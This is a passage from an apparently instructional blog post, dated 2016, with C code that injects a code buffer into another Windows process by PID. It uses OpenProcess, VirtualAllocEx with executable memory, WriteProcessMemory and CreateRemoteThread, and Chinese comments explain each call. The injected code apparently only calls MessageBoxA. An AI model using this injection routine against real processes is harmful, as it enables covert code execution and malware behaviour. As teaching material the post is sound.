			return 0;
		}
		hModule2 = LoadLibrary("user32.dll");//LoadLibrary载入指定的动态链接库 返回句柄
		if (hModule2 == NULL) {
			printf("[E]: user32.dll cannot be loaded. \n");
			return 0;
		}	
		func_addr = (DWORD)GetProcAddress(hModule, "GetModuleHandleA");
		if (func_addr == 0) {//GetProcAddress检索指定的库中函数地址
			printf("[E]: GetModuleHandleA not found. \n");
			return 0;
		}
		msg_addr = (DWORD)GetProcAddress(hModule2, "MessageBoxA");
		if (msg_addr == 0) {//GetProcAddress检索指定的库中函数地址
			printf("[E]: MessageBoxA not found. \n");
			return 0;
		}		
		off = (DWORD)pCode - (DWORD)pOrignCode;
		*(PDWORD)((PBYTE)_addr_GetModuleHandleA + off) = func_addr;
		*(PDWORD)((PBYTE)_addr_MessageBoxA + off) = msg_addr;
		return dwSizeOfCode;
	}
	int inject_code(DWORD PID)
	{// inject_code()函数是存放在pCode 所指向的缓冲区中的二进制代码注入到远程进程中
		HANDLE  hProcess    = 0; 
		DWORD   dwNumBytesXferred = 0;
		int	    exitcode   = 0;
		int 	op;
		HANDLE  hThread	   = 0;
		DWORD   dwThreadId = 0;
		printf("[I]: Opening remote process %d ", PID); 
		hProcess = OpenProcess(PROCESS_CREATE_THREAD 
			| PROCESS_QUERY_INFORMATION
			| PROCESS_VM_OPERATION 
			| PROCESS_VM_WRITE 
			| PROCESS_VM_READ,
			FALSE, PID);       
		if (hProcess == NULL) {
			printf("failed.\n"); 
			return -1;
		}   
		printf("ok.\n");
		printf("[I]: Allocating remote memory with size of 0x%08x ", dwSizeOfCode);
		pRemoteCode = (PBYTE) VirtualAllocEx(//返回分配内存的首地址
				hProcess, //句柄
				0, //保留页面的内存地址 NULL自动分配
				dwSizeOfCode, //预分配的内存大小 字节单位
				MEM_COMMIT, //分配类型
				PAGE_EXECUTE_READWRITE);//区域权限 可读可写可执行		
		if (pRemoteCode == NULL) {
			printf("failed.\n");
			CloseHandle(hProcess);
			return -1;
		}
		printf("ok at 0x%08x.\n", pRemoteCode);
		printf("[I]: Writing code ");
		if (WriteProcessMemory(
				hProcess, //句柄
				pRemoteCode, //要写的内存首地址
				pCode, //指向要写的数据的指针
				dwSizeOfCode, //要写的字节数
				&dwNumBytesXferred) == 0) {//写入实际数据的长度
			printf("failed.\n");
			VirtualFreeEx(hProcess, pRemoteCode,
					dwSizeOfCode, MEM_RELEASE);
			CloseHandle(hProcess);
			return -1;
		};
		printf("ok (%d bytes were written).\n", dwNumBytesXferred);        
		printf("[I]: Creating a remote thread ");
		hThread = CreateRemoteThread(//返回新线程句柄
				hProcess, //句柄
				NULL, //线程安全指针
				0, //线程初始化大小 0 系统默认大小
				(LPTHREAD_START_ROUTINE)pRemoteCode,
				//在远程进程的地址空间中 该线程的起始地址
				pRemoteCode,//传递给线程函数的参数
				0 ,//线程创建标志 0 创建后立即运行
				&dwThreadId);//指向所创建线程句柄的指针
		if (hThread == 0) {
			printf("failed.\n");
			if ( pRemoteCode != 0 )	
				VirtualFreeEx(//释放远程进程中申请的内存空间
					hProcess,//目标进程句柄
					pRemoteCode,//要释放的内存空间首地址的指针
					0,//内存空间字节数
					MEM_RELEASE);//释放类型 完全回收
			if ( hThread != 0 )			
				CloseHandle(hThread);
			return -1;
		}
		printf("ok.\n"); 
		VirtualProtectEx(hProcess,pRemoteCode,
		dwNumBytesXferred,PAGE_EXECUTE_READWRITE,&op);	
		printf("[I]: Waiting the remote thread ...");
		WaitForSingleObject(hThread, INFINITE);//等待远程线程执行
		GetExitCodeThread(hThread, (PDWORD) &exitcode);//获得终止线程的退出码
		printf("exited with 0x%08X\n", exitcode);	
		VirtualFreeEx(hProcess, pRemoteCode, 0, MEM_RELEASE);
		CloseHandle(hProcess);
		return 0;
	}
	int main(int argc, char *argv[])
	{
		DWORD PID = 0;
		PID = atoi(argv[1]);
		make_code();
		inject_code(PID);
		return 0;
	}
posted @ 2016-03-07 19:34  ailx10  阅读(199)  评论(0编辑  收藏  举报